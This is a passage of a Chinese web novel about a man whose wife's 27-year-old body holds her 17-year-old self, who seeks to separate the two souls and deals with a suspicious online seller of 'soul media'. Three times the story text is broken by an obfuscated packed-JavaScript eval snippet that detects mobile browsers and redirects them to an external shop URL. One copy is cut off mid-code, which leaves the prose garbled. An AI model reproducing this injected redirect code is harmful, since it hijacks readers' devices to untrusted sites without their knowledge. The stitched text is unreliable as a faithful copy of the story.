;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860352|190263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “晚饭来了。给你,这是今天要背的资料。” 陈千景转脸,尽可能摆出最差劲的合作态度。 ……都不需要刻意凹,光是看看碗里稀薄的米粒,她就想对他竖中指了。 再差劲的霸道总裁,囚禁女主角时都不会顿顿喂她米汤。 什么人啊。 陈千景一边臭着脸喝汤,一边拿过资料。 那是一本爆满的巨大文件夹。 “近十年的时政新闻和奶奶的最新近况我都记住了,还有什么需要……” 厚厚的一大沓,却并非密密麻麻的时事,而是不同人的照片,不同人的姓名。 “……简历吗?这么多……全是个人的简历?为什么我要背这个?” 顾芝已经坐回了角落——‘对你的生理性厌恶会影响我吃饭的胃口’,这是陈千景昨天表明的——他拖过电脑,开始处理公务,闻言头都没抬。 “你的同事,朋友,非工作日腾出空后,应该会陆续来探访你。明后两天你要见很多陌生人,看到他们时提前知道名字与职位比较好适应吧。” “……哦。” “工作暂停的推辞理由我也帮你列好了,挑一个你觉得好记的背下来,如果有想调整的细节或疑问,吃过饭我们再讨论。” “哦。” “还有,贴着绿色便签的简历是和你关系特别不好又人品堪忧的人,他们说的话不要信,贴着红色便签的简历都是和你关系格外亲近可以信赖的人,他们可以适当多聊聊。要记忆的相处细节我添在相对应的附录里了,按照数字标号往后翻。” “……” 不是。 陈千景捧着这本格外扎实、详尽、堪比大辞典的文件夹。 比那些高三的学长学姐的试卷夹还要重。 光是用手捧着它,小臂都因为承受不住重量微微发抖了。 ……可越重,心里越踏实,这种扑面而来的安全感是怎么回事……简直像是被成绩全市第一的学神丢了一大套重点金牌笔记过来,听到他说“背完这些再吃透就保你提高60分”…… 人际关系原来是这么简单的事吗?只需要像游戏档案那样记下对应情报就好? 仔细一翻,里面可不是那种水分很大的个人简历,每个人的页面中都有分门别类的补充,应对态度,关注重点,踩雷话题,自己和对方共同经历的事情…… 能总结出这套资料,又将如此大的信息量规整得这么清楚、有条理、方便记忆,实在是太厉害了。 这不是能依靠金钱或运动能力做到的事情,陈千景不禁想,这种事连在她心目中无所不能的顾锦宸都做不到,因为她看过他的学习笔记,东一榔头西一棒子,想到哪记到哪,就和他的鞋柜一样乱糟糟的——而且顾锦宸的字迹比医生的病历单还潦草,不像这些资料里的字迹—— 是的,字迹。 不同于她在电视剧里经常看到的,那些不明觉厉、插入图表、又用小号字体唰唰打印出来、给人一种“很职场很精英”的感觉却又根本不可能拉近镜头看清内容的打印资料…… 这本文件夹里的每一张纸,都是手写的。 非常、非常漂亮又微微倾斜的字迹,一笔一划果断锋利,可又规整精炼,字与字之间的排版平均又清晰。 ……可这是手写啊!不是可以编排修正的电脑打印! 如果是书写时就已经在脑中规整出了这么清晰的东西……那他…… 陈千景望向顾芝。 他脸上那副装模作样的金丝眼镜不知何时已经换成了方形的黑框眼镜,镜片下的眼圈泛着睡眠不足的青色,身上原本笔挺的大衣也变得皱皱巴巴的,手肘与衣摆布满糟糕的褶皱,袖口还有一点咖啡渍,显然是通宵后没有打理仪表的证明。 这一套打扮不修边幅,毫无帅气可言,只会联想到“死线前的博士生”或“肝数据的科学家”。 可是…… [智慧是时下的新性感。] ——这句属于侦探剧的台词突兀地窜进她的脑子。 与此同时,还有在电脑屏幕的光线下,那飞速敲击键盘的,苍白的指节。 【啊我懂。经常会有。特别想变成键盘的时候。】 陈千景:“……” 陈千景:“!!!!” 一声巨响惊醒了工作中的顾芝。 他回头,看见病床上的老婆涨红了脸,那本厚厚的文件夹不知为何砸了下床,摔在地面。 顾芝:“……就算讨厌我这种人提供的帮助,也不要迁怒无辜的学习资料,小陈同学。” 他走过去拾起文件,而陈千景低着头接过,藏在头发后的耳背也透出烫烫的红。 顾芝眨了下眼。 如果是二十七岁的老婆,他知道这反应,她大抵是想到了一些瑟瑟的事情。 毕竟成年人总会把丰富的想象力用在很成年的地方。 但十七岁的老婆……嗯,应该是气狠的表现吧。 “怎么,”他检查了一眼文件夹,“我这些年记录的信息冒犯到你了?我只是比较喜欢观察总结。” 陈千景:“……” 等等等等!! 呜呜冒汽笛的火车一头撞上了墙,陈千景陡然清醒。 再好看的字迹也盖不过她后背逐渐爬上的凉意。 “这、这些年?你是说这些你手写的资料来自于——” “当然是很久以前就开始整理的。” 病床边的男人扶了扶眼镜,冷冷道:“这些东西一整晚可写不完,你以为我是怎么收集的?你的朋友,你的同事,与你产生交集的每个人,我都会仔细记录,然后存入保险柜。所以不要浪费我借给你的珍贵资料——现在,老实背诵,三小时后抽查,不准再摔它扔它,否则咬你脚趾了。” 陈千景:“……” 陈千景鼓起脸,憋足气,气沉丹田。 “变态吗你!!!” 【数小时后,凌晨】 ……成功结束了一趟强度不亚于高三晚自习的背诵活动,脑细胞耗尽的陈千景早早睡去,与昨天一样,睡得死沉死沉。 或许她在梦中仍然忿忿不平地咒骂某个行为极端阴暗的成年跟踪狂,但,谁知道呢。 顾芝仍在敲击电脑。 只不过,为了避免电脑与手机的光线影响她睡觉,他仍旧躲去了狭窄的隔间,只在病房主卧室那留了一道门缝,以免她起夜找不到人惊慌。 嗯……大洋彼岸的秘书发来的报告已经否定了科学角度穿越时空的可能性,他所咨询的问题似乎被当成了玩笑。 意料之中吧,读书时他就觉得那个圈子里的学者有不少倨傲感大于求知欲的家伙,现阶段的科学理论连时空的测量标准都很微妙。 教堂的卷轴与深山的道观倒是意外隐藏了不少,秘书发来的报告语焉不详,他很想亲自去一趟。 但老婆这边更离不开人,后两天会有更多需要应付的……公司这边也不能放手,最好下个月连带着下下个月公务都提前安排好,不能耽误…… “吱呀。” 门缝被推开了。 顾芝缓慢地眨了下眼。 他起初以为那是通宵两夜后生出的幻听,于是取下眼镜,兀自捏了捏鼻梁。 ——直到房门合拢,脚步逼近,轻轻的,一双手合上了他膝盖上的电脑。 “芝芝。” 昏暗中,有谁摸向他的手臂,话音蔫蔫的,带着他再熟悉不过的哭腔。 “手背,芝芝,你那只手背,快让我瞧瞧……” 9.第九口代餐 二十七岁的陈千景,和二十四岁的顾芝一点都不一样。 她很好,没有怪异的脾气,没有难听的说话方式,待人处事时,总是微微带着笑。 ——那不是顾芝拼命钻研多年后演绎出来的假笑,那也不是历经世故后熟练应对不同人的完美笑脸,陈千景的笑脸里面有着真正治愈的阳光,会令人联想到枕头、浓汤、或一只在太阳下被烘得绒毛暖乎乎的小羊。 在社会摸爬滚打五年多后,她依旧泪腺发达,心地柔软,会共情被欺凌的小动物,会厌恶法治新闻里披露的人渣,也会因为小说或电视剧里受委屈的主角难过不已,就连看见武打片里作为背景板的路人小弟在争端中受伤,都会忍不住在电影院里一激灵,然后小声跟他嘀咕,芝芝,那个人要被踢倒在那么多的碎玻璃里,肯定好痛。 顾芝不觉得那很痛。 他小时候亲身体验过“被踢倒在碎玻璃里”的感觉,也就那样,伤口都很细小,血淌得再多,顶多几天就能愈合了。 如果这样就能让老婆如此心疼地投去视线,他可以亲自扎去碎玻璃里游一遭。 ……当然,他不能这么答复老婆,他要披好自己的暖男人设,假惺惺地配合说什么“是啊,真辛苦,这个角色实在不容易,导演太过分了”…… 因为老婆是个善良温暖的好人,她也只会青睐善良温暖的好人。 他不想吓到她,让她紧张。 和十年前一样,她的胆子很小。 但,区别于年少时,她不会再在外人面前哭泣了,和气人的合作方撕扯时吵得情绪上头,也能稳住自己开始发颤的声线,将泪崩的感觉咽回去,然后继续输出自己的论调,摆出冷冰冰的外壳。 害怕也好,愤怒也好,哪怕受了天大的委屈,也会压下情绪,直到回家,被热情的曲奇汪汪叫着扑倒。 然后,释放。 要么在玄关搓着曲奇的狗头呜呜瞎嗷,要么搂住绕着圈子来查看的猫猫大哭特哭,要么…… 拽住他,贴过脸,一边抽泣一边控诉,“我跟你说哦那个人太狗屎了太狗屎了气死我了呜呜呜”,颠三倒四地哭骂完一通,再把他好不容易熨好的家居服揪成破布。 等她哭完了,狗不敢再叫,猫躲去桌底,裤子被揪皱衬衫被哭湿半边的顾芝脑子嗡嗡响,觉得自己像是一株被泡在过量盐水里的仙人掌…… 可又真的很可爱。 所以每次他还是会主动过去哄。 ……所以猫猫泡芙看他的眼神越来越鄙夷,大抵觉得每次都迎着两脚兽的呜呜警报主动过去的他是个不会逃跑的智障…… 但这也没办法,他的老婆很爱哭,又只会憋回家里哭,她的哭泣不是撒娇示弱,而是排解负面情绪、调整心理压力的方式—— 她不是在向喜欢的对象寻求依靠,她只是需要一个阳光温暖的情绪垃圾桶,垃圾倒空了,整个人立刻就变得很舒服。 因此…… 顾芝不认为,她会因为自己而哭。 二十四岁的他不再是被欺凌的小猫小狗,被恶毒配角为难的主人公,更不可能是电影幕布里那个被主角踢倒在碎玻璃里的小角色。 吃了什么饭,生了什么病,推进了什么项目——他们的事业都很重要,二十七岁的陈千景没有空闲去额外关怀一个单纯搭伙过日子的丈夫。 他们结婚之前是聊得来的朋友,结婚之后做了相敬如宾的夫妻,没有激情爱情也逐渐培养出了和谐的亲情,顾芝很知足。 只有幼稚纯真的高中生才会一个劲地追问“为什么不和喜欢的人结婚”—— 也只有偏执又阴暗的初中生才会在脑子里幻想,要对方关注,要对方在乎,要对方眼里的独一无二,要对方的最心动和最心疼。 “……芝芝。” 昏暗中,她终于捧出了他的手背,眼泪不停吧嗒吧嗒地往下掉,几乎要将那片伤痕累累的皮肤泡皱。 但那也只是几乎。 顾芝垂眼望了望手背。 他没有被触摸的实感,更没有泪水滴落的湿漉漉…… “这是一个梦。” 顾芝翻过手,意识轻动,轻轻一拂,便抹去了手背上狰狞的伤口。 “好了,不痛,别哭。” 她怔怔地盯着他复原的手,而顾芝伸出胳膊,摸了摸她的脸颊,如法炮制,用意识抹掉了那一小圈已经哭肿的皮肤。 “没想到我又在幻想这种无聊的事……深更半夜心疼到哭又主动过来抱我的老婆……” 顾芝有些无语,他二十四岁,又不是贪婪中二的十四岁了。 他对着自己的梦道歉:“对不起。我想我这两天太累,潜意识构造出来的你不太实际了……小景,你还好吗?” 梦中的老婆看着他,有些恍惚。 “没……为什么……你……我……这里不是现实吗?” 嗯,显然是不太好了,一个只存在于我脑中的梦中人都能做出“这不是现实吗”的困惑。 顾芝轻轻地捏了一下她的手,将无名指单独抬到能照见月光的角度。 “显然是梦啊,小景。” 婚戒闪闪发光,是从未被摘下、摔砸的模样。 可现实中的陈千景没有这枚戒指,顾芝已经将被墙角刮伤的婚戒送去修补,它此刻应躺在某位手工匠人的作业台上。 “……是吗。” 陈千景忧心忡忡地握住了戒指。 “也对,我,不知怎的……总觉得自己无名指上少了一样很重要的东西……这段昏昏沉沉的时间究竟……” 顾芝没有仔细听她嘟哝。 ……他具体什么时候睡着的?没有摔坏电脑吧?或者更糟糕的,睡着时不慎把咖啡杯落在了地上,吵醒了病房里休息的老婆? 顾芝思索着此刻现实的情况,有些心不在焉,毕竟他应对“幻想中的陈千景”已有十年了,当初还做过“怒甩亲哥后哭着喊着说要和自己在一起的陈千景”这类白日美梦…… “芝芝。你在想什么?” 她突然这么喊他,有点委屈:“我被推去麻醉后就在漆黑的地方混沌了很久很久,没办法看到任何东西,也不明白究竟发生了什么……可一发现你受伤就拼命跑过来,虽然到处锤了一通找不到突破口,最终只能跑进你的梦……” 有时能听到另一道奇怪的声音,有时又会生出另一个视角的画面。 可归根结底,她是混乱的,无力的,没法清醒突破那层无形桎梏。 正如十七岁的陈千景在剧烈的窒息感后下意识遗忘了幻听的声音。 二十七岁的陈千景此刻同样不记得这些天来她的身体所看到的、所听过的。 她的意识似乎被压在一口巨大的炖锅深处,昏昏沉沉,可太在意他手背上的伤口,才会不断地挣扎、反抗、试着逃出…… 在她心目中,在这个迷茫的梦里,眼前人依旧是很温柔、很好的芝芝老公。 “芝芝,你竟然一点都不想我吗?” 当然是想的,但在梦里再怎么想念也无济于事啊,现实的状况是一团乱麻,此刻逃避般沉浸在“老婆在意我在意到哭”的初中生幻想毫无价值。 顾芝敛起有些冷漠的眼神,亲了亲她的脸颊。 ……没有亲吻的实感,当然,毕竟是梦。 可梦里的老婆也是老婆。 “我非常想你。” 他重新掐起恰到好处的柔和声线:“只是有点错愕,一时没反应过来。原谅我好吗?” 骗子。明明是走神。 陈千景想生气,但他又凑过来亲了亲她耳背后的那一小块皮肤—— 即便是梦,即便没有触碰贴近的感受,她依旧一个激灵。 “别生气了,小千老师?” ……犯规吧他。 “不许叫这个!” 她立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16866024|190263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捂住耳朵,侧头躲向另一边,小房间内昏暗的光线中看不清整张脸,但一闪而过的鼻尖也隐隐染上了红。 “我说了一百万遍了,芝芝,在家外面不许叫这个,太……太肉麻了!” 顾芝眨眨眼。 不愧是我,他突然想,梦里的老婆也能塑造出相当高的真实可爱度。 真的很像是老婆本尊会做出的反应……啊,好萌。 “哪里肉麻,小千老师,这是尊称,而且你工作时也经常被编辑叫老师……” 工作是工作,你是你,这种正儿八经的职位尊称在私底下被老公叫出口简直耻度爆表好吗!比“宝贝”肉麻太多了!! “总之不许!不行!这可是医院!” “可这是我的梦,小千老师,我想这样叫你,我好想好想你。” “……脸移开,移开,不要贴过来喊我,笨蛋!!” 顾芝:啊,好治愈。 这两天在现实被老婆扎穿的胃都要愈合了。 “那不喊小千老师,小千姐……” “赶紧!住口!!” 嘴被老婆非常用力地捂住了,虽然是梦,亲不到软绵绵的手心。 顾芝遗憾又愉快地弯了弯眼。 “……芝芝,你不要使坏。” 二十七岁的老婆就算骂他的语气也是软乎乎的,再强烈的指责也令人生不起气来: “你怎么总这样插科打诨的,芝芝……唉,你真的不疼吗?快点醒过来,然后去把手上的伤治好,包上绷带,知道吗?” 顾芝一愣。 直到这一刻,他终于觉察到了一丝违和。 “你在劝我离开我的梦,去现实治伤口?” 他幻想中的陈千景从来不这样。 因为是幻想,因为是潜意识,因为是一个初中生贪婪又阴暗的渴望—— 她只会留下他,对他撒娇,不管不顾地黏着他,仿佛要将他溺死在无望的幻想中。 梦里明明已经抹去了伤口,可这个戴着婚戒的老婆依旧忧心忡忡地皱着眉头。 “芝芝,你要照顾好自己,不可以……” “小千老师。” 他拦住了她下意识往外躲的胳膊,将她一把抱过。 陈千景很没反抗精神地虚空踢了两下了事,脸很红。 不仅仅是因为称呼,更因为他箍在她腰上的手——抱得实在太紧了,这是在家里夜晚的卧室才会有的抱法。 狡猾的芝芝。 “话说,你根本没履行承诺啊,答应我的金丝眼镜和白大褂去哪里了,枉费我麻醉前还在期待,骗子……” “小千老师。真的是你?不是我的幻想?” “……啊?幻想?你在说什么?” “被推入麻醉室后发生了什么。这段时间你呆在哪里。头痛吗,心脏痛吗,有没有被压制被禁锢的感觉——小千老师,小千老婆,统统都告诉我,好不好。” 陈千景顿住了,有点犹豫。 她此刻的状态自己都说不上来,看着行为正常对话清醒,实则无限接近于潜意识的梦游——她甚至对“闯入另一个人的梦”没有任何多余的惊讶,只是自然而然地与梦中的顾芝互动,满心都是劝他去处理伤口—— 这时候的陈千景对另一个人突然敞开全部是极度危险的,倒不是她不信任顾芝,而是某种自我防卫的生物本能。 就像熟睡的人不会主动睁开眼睛,奔跑的兔子不会主动投入狐狸的口。 可顾芝从后背抱着她,一点点低下头,鼻梁擦过她的脊骨。 明明是没有现实触感的磨蹭,却比夜深时的想象更磨人。 “小千老师。” 他轻轻请求:“求你了,告诉我,教教我……小千……姐姐?” 陈千景:“……” 陈千景:“嗯。咳。好。我、我都说。你、你先住嘴,不许叫……然后放手!!” 10.第十口代餐 “……滴,滴滴。” 是电脑右下方的消息提醒。 清晰,刺耳,在寂静的小房间里就像一根扎入肉皮的钢钉—— 啊,不是像,手背传来切实的刺痛感,有什么锐器扎在那里。 ——顾芝睁开眼,回到现实。 再没什么比疼痛更能确认现实。 他扫了一眼自己伤痕累累的手背,人的抓痕和金属的绞痕已经完全变紫,还新扎了一块曾属于咖啡杯的瓷片。 大抵是陷入昏睡时手还抓着杯子,结果杯子磕在了座位把手上,又恰好碎在了自己手上。 幸好。 昏睡前手里的咖啡杯没有弄坏电脑,更没有弄坏资料,只是扎在了他的手上。 美梦刚醒,顾芝的嘴角还带着点亲昵的笑,眼神却已经冷了下去。 顾芝不喜欢做梦。 这其中,他最不喜欢做美梦——因为醒来之后和现实的对比太强,又隐隐暗示了自己只能将一切寄托给幻想的无能。 不过,刚才那个梦,也有可能并非他的潜意识构造……他的潜意识可不会对他这么友好…… 顾芝用另一只完好的手摆弄了一下那只伤痕累累、还扎着碎片的手,褪下伪装的表情是一种极其阴暗的兴味盎然—— 只见他缓缓拔下瓷片,又慢慢将它插回割开的伤口里,就像野猫在摆弄一只已经残疾的老鼠。 连绵不绝的疼痛立刻强烈地刺激了大脑。 本该在醒来后飞速流逝的梦中记忆重新复苏,顾芝飞速地盘完梦中那个陈千景的每一丝表情,每一句话—— 【进麻醉室后就昏迷到现在……】 【某种无法向外界发声的桎梏】 【被压在混沌里,听不见看不到】 四分可能是潜意识在归纳我的猜想,六分是二十七岁的老婆本尊灵魂入梦吧,顾芝冷静地想,重新拖过自己的平板。 他把能回忆起的每句话都记录下来,又挨个排列逻辑顺序,思索这是否可能。 不是被另一个灵魂压制,梦里的陈千景这么描述,更像是被某种自然固定的规则,她有“不煮至沸腾就没办法开锅”这样模糊的感觉。 看她对自己的态度,应该也不知晓“现实十七岁陈千景在这几天内的所看所想”,可却偏偏知道他手背受伤……那么,可以假设,她们之间有一道关闭的“阀门”。 时而开启,时而关闭,随着情绪的起伏或许能漏过只言片语,可两人完全无法达成有效沟通。 二十七岁的老婆是被什么暂时唤醒呢……他的手背……血……对“陈千景”具有极强冲击性的画面? 顾芝画了一个圈。 他想起白日陈千景那副差点就要窒息昏倒的模样,显然,两个人的强行切换会对她的身体带来负担。 那么,要不要设计一场的车祸,让现实的老婆看见“我即将被撞死”的画面,看看二十七岁的她会不会突破桎梏现身? ……风险太大,可能波及她的安全,而且故意设计车祸伤害自己一点也不阳光,会有暴露本性的可能。 可老婆在梦中描述的感觉很不乐观……“喘不过气”“脑子很乱”“基本没意识”……她对外界的反应显然也变得迟钝了许多,没有“入梦”的惊讶,没有察觉他这些天来言行的违和,没有好奇十七岁的自己状况如何,甚至没有任何身体灵魂被搅乱的危机感…… 不妙。 如果让她一直在“混沌又昏暗的地方”沉睡下去,仅仅指望那涉及灵魂的微妙“闸门”遵循某种他未知的规则打开…… 不行。 顾芝的眼神愈发阴郁,手背上被他无视的伤口因攥紧的指节开得更深。 一,找到致使十七岁的她穿越至此的原因。 二,找到将她完完整整送回正确时空的方法。 三,找到将“十七岁的她”与“二十七岁的她”暂时分离的方法。 ……当务之急是三。 优先将她们分离出来。 如果是在实验室里分离物质,那么只需要寻找某种仪器或提纯方法……可分离不同时间线的同一灵魂显然不能同等于固液混合物,说到底“十七岁”和“二十七岁”都是小千老师本人……将她自己的灵魂分离出身体……唔…… “滴滴,滴滴。” 谁啊,从刚才开始就吵个不停。 他好像没有吩咐秘书在这个点继续加班吧? 顾芝撇开陷入死路的思索拉过电脑,却发现那不是群消息,也不是电子邮箱。 “……论坛回复?” 他点了进去,发现那是络绎不绝的嘲讽。 ……顾芝昨天深夜在某涉及塔罗神秘学的论坛发了匿名悬赏,提出“时空穿越后两个不同年龄段的自己该如何在同一个身体内共存”的假说,希望能有人给出解答,而帖子里的回复显然是把他当成了隔壁来捣乱的科幻阿宅。 “万事不决量子力学”……还有乱七八糟丢了一堆数学公式假设这个那个的…… 顾芝掠过花式喷他的几百条回复。 他本来也没抱什么希望,说到底这不是什么很权威专业的论坛,这地方晚上九点到凌晨四点是最活跃的时候,这证明大多数论坛用户都不需要上班,只不过是一帮玩塔罗点蜡烛搞得格外上瘾的中二小鬼而已。 但他对非科学领域一知半解,能试试的都先试试,广撒网总不亏。 不止这一个论坛,他昨晚将这个问题编辑传播到了各式奇怪论坛里——包括探讨茅山道术与鬼谷八字的讲经频道——只不过这个主营塔罗神秘学的论坛在深夜格外活跃,用户攻击性又比较强。 顾芝冷漠地审阅完这些层出不迭的垃圾话。 换了以前他铁定要反买水军把这帮闲人挨个喷回去,但现在他没心情在网上和其他人比拼“谁的现实负能量更强”。 有效信息为零,他正打算注销账号。 [你身边有人遇到了这种情况。] [在同一个身体内共存是不可能的。即使灵魂相同,身体原装,两份灵魂的过度挤压也会产生生理性的窒息,然后在某次不可控的切换下迎来死亡。] [私聊?] 顾芝指尖一顿。 ……这两条口吻平和的回复瞬间就淹没在激情澎湃的垃圾话中,但他及时戳进了对方的头像。 一枚花里胡哨的杂色羽毛,空间背景是丝绒幕布上摆着一颗水晶球,ID名很长,“AAA承接塔罗占卜灵摆串珠制作招财招桃花招考运……” 顾芝:哪来的骗子微商。 ……但试试又不花钱,他姑且还是联络了正在线的对方。 [你好。] AAA承接……简称AA,秒回。 [在。咨询收费。十字节一万。] 顾芝:“……” 你怎么不去抢。 他捏捏鼻梁。 但,不可否认。 按字节收咨询费,这是他从未见过的微商套路……如果这人不是深耕心理学来故意钓鱼欺负弱智,那可疑与可信程度,对半分吧。 成功率超过40%的风险投资吗…… [可。[转账]。] AA:[收到.jpg] AA:[咨询“不同时间的两个灵魂同一身体”,我确认一下。] 顾芝以为接下来对方要开始绕弯废话水字节了,但这点钱他也不是耗不起。 风险投资总要做好钱回不来的心理准备,正常。 可下一秒,AA直接发来:[你要介质吗?] 顾芝指尖一抖。 AA:[暂时分离两个灵魂。以免某次挤压后窒息死亡。] AA:[将其中一个灵魂寄宿在合适的介质上。将位于不正确时空的灵魂归正。即可。] ……竟然可行。 这甚至隐隐符合他自己推测出的处理方法,分离再归正…… 但,也不排除这人只是模仿着某些科幻作品的套路胡编。 顾芝回复:[灵魂介质,发来瞧瞧。] AA:[一个介质两百万。配套使用说明书五百万。] AA:[大额交易有追查冻结风险,只收线下现钞。] 顾芝:“……” 越来越像网骗抢劫犯了。 ……这年头玩八卦盘的都讲究“有缘人送你一挂”,玩塔罗占卜的却已经这么穷了吗,什么神秘气质魔术素养统统不要了? 他颇为无语,不过这点钱还好,比预期便宜不少。 是真货皆大欢喜,被骗了,他也有手段追回去。 [可。交易地点?] AA承接:[……等等。这么大的数目,你同意交钱也太快了。网骗?还是钓鱼执法?] 顾芝:“……” 顾芝:[我只是不缺钱。] AA承接:[……] AA承接:[…………] AA承接:[一颗省略号算一字节。] 顾芝:噢,这人被我隔着屏幕成功伤到了。 多稀罕呢。 他正要继续商议交易细节,AA承接却道:[为灵魂制作合适的介质,我需要了解那个灵魂。告诉我对方的详细信息,性别,年龄,诞生日,穿越日期,身高三围……等等。] [403号介质制作单.excel] [按这个填写好发来。再继续交易。] 顾芝却停住了。 ……老婆的详细信息?相比金钱……这种涉及隐私的个人情报…… 【第二天,晨,七点半】 “——所以,我觉得应该先和你仔细商量。” 陈千景坐在病床上,瞪着显示了一串消息记录的电脑揉了揉眼睛,格外迷茫。 顾芝将她吃完的粥碗放在一旁,神情虽然不算温和,却也没有昨夜独处时阴郁的模样。 “我想,我已经把那个梦中成年的你透露的消息,与你目前的状况解释得很清楚了,所以尽快分离灵魂是有必要的……其他领域我也在调查,但目前这个可疑的微商给出的方案最可信……” 陈千景捋了一下他之前在自己吃早餐时转述的内容。 ……昨晚睡前她就被那一大本的人际关系信息量差点灌晕,大清早又开始灌这么多信息量,这货到底是过分靠谱的队友,还是故意把她脑子绕昏好操控她的人生?? 不过这种不到一天就立刻互通消息的操作的确要夸奖……这也太高端了……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16874762|190263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “按理来说,你应该为了我的情绪稳定与灵魂安全瞒着我,独自调查个三四十章,被我戳穿秘密后再坦白这些吧?”陈千景麻木吐槽,“名侦探柯0都知道,正方各个超人要独立调查独立破案才能丰富故事线哦。” 顾芝正发消息,闻言瞥她一眼。 “所以名侦探柯0又臭又长,你上高中时就在拍完结前篇剧场版,现在还在拍完结前前篇剧场版,去年我才陪你刷完那些乱七八糟的再编篇重启篇……你确定你的灵魂状况能够再拖上三十年吗?这种事当然是本人知道得越详细越好。” 陈千景:不能。 但你也不至于用看白痴的眼神看我吧!啊气死人了!什么态度啊这阴暗弟弟! 每次想夸他“队友你很可靠”都会立刻转变为想踹他的冲动!每次下意识觉得他很厉害都会自动恼火起来! “暂且不论你所谓的‘在梦里见到成年的我,听她吐露消息’……成年的我怎么可能在精神恍惚的状态下也选择信任你这种家伙,把什么都告诉你……” 陈千景忿忿地挥了挥手:“这个论坛里的微商,显然是骗子。就算我钱多也不能这么烧啊?几条消息咨询费就上百万了?一个什么介质再加使用说明还要七百万??” 顾芝一愣。 他本以为老婆关注的重点会是和他一样的“个人隐私泄露”,要想达成交易就必须填写那个过分详细的表单,可没想到她竟然会反去在意钱。 即便不把“灵魂混淆”这类非科学理论当真,一种未知的脑科疾病与相应医疗仪器,几百几千万砸下去都不见疗效只能勉强吊命也是很正常的……顾芝认为与老婆的“自身存亡”相比,金钱的分量真的可以很小。 ……啊,也对,高中生老婆还没有挣过大钱,我记得她当年在小卖部买扭扭糖都是五毛五毛的买。 顾芝便安慰道:“没事。对现在的你来说,这只是小钱。” 陈千景却继续瞪聊天记录,越看越气:“你竟然……不到半分钟就决定跟对方交易了?你要是人傻钱多我不管——倒是别花我的钱啊??钱不是你挣的你不心疼是吧?顾芝你是什么极品败家软饭大渣男??” 顾芝:“……” 糟糕,满脑子都是她的灵魂混淆问题,忘了澄清自己职业和收入了。 ……现在解释自己当时随口扯的谎还来得及吗。 “我……” “成年的我不可能蠢到跑去梦里告诉你我的处境危险——成年的我更不可能向你这种男人求助——那些描述统统有可能是你故意编造出来恐吓我的——” 陈千景一边骂他一边很讲礼貌地捧走他的电脑,将其正放在一旁的小桌上。这可是她自己挣的钱买回来的电脑。要珍惜好。 然后她很不讲礼貌地在病床上跳起,指着顾芝继续疯狂输出:“一米五!小变态!臭弟弟!昨晚眼都不眨就花了我几十万!十字节一万的网络咨询你还敢随便答应!对面那个骗子肯定正一边数钱一边笑你是傻帽!!” 顾芝:“……” 很好。 面对这个正在病床上蹦蹦跳跳的高二傻帽,顾芝瞬间放弃了“好好解释”的选项。 他冷冷道:“我本来不想出这招。昨晚的你亲自告诉了我,一个能够完全取信于你的杀招。” 高二傻帽叉腰哼笑:“编,你继续编吧,再信你这种极品渣男我就是小狗——” “你上幼儿园时家属楼楼下有条流浪小黄狗。四岁,你轻信同学‘作业喂狗’的玩笑,一整个暑假都偷偷把作业带去喂它吃。小狗怎么都不吃,你就着急地示范给他怎么吃。最后啃了半本作业,及时被奶奶送到医院洗胃,你拒不承认自己吃纸的原因是‘不想写作业,想劝小狗吃纸’。这是你发誓要永远藏在心底的秘密。在小狗面前发了誓,誓言是‘我们都不可以告诉别人’,还拽着它的爪子在你起草的全是错字的合同上盖了章。” 陈千景:“……” 陈千景叉腰的手立刻放下了。 她颤颤巍巍地坐回病床。 “我、我不信……变态如你……肯定是后期调查出来的……这种事查一下医院记录就……” 明显是嘴硬强撑,顾芝自觉已经胜利,他直接拿出手机继续忙。 可陈千景还想再抗争,她张嘴要说什么,却猛地一愣,看着他在晨光下的手背——另一只搭在窗沿的手—— 涂了药膏,包了绷带,伤口完完全全被裹好的模样。 顾芝治好了伤。 ……这个顽固又阴暗的变态,明明是被绞得鲜血淋漓也不肯多吭一声的扭曲性格…… 这两天相处下来,陈千景瞧出,这人连必要的睡眠都拒绝维持,更不可能自己主动去治伤。 ……所以,是谁让他放下了固执,劝他治伤? 昨晚的梦…… 那真的是未来的我。 陈千景恍惚地抬起手,摸上了自己的胸口。 从早晨醒来后,一直闷闷收紧的心脏诡异地平静下来。随着她视线在那手背上绷带的聚焦。 就像有谁隔着她的眼睛看过后,狠狠松了口气,终于放心去睡觉。 那个我,竟然,真的,切实在乎顾芝吗? ……她瞎了? 11.第十一口代餐 未来的自己是否眼瞎,陈千景不知道。 可她很快就知道了,未来的自己和顾芝结婚是实实在在有利可图的—— 这天早晨,一直摆弄着手机的顾芝接起电话,不知聊了什么,他降低声线,离开了病房。 陈千景正打算溜过去偷听,可紧跟着顾芝的离开,第一位探访者走进了她的病房。 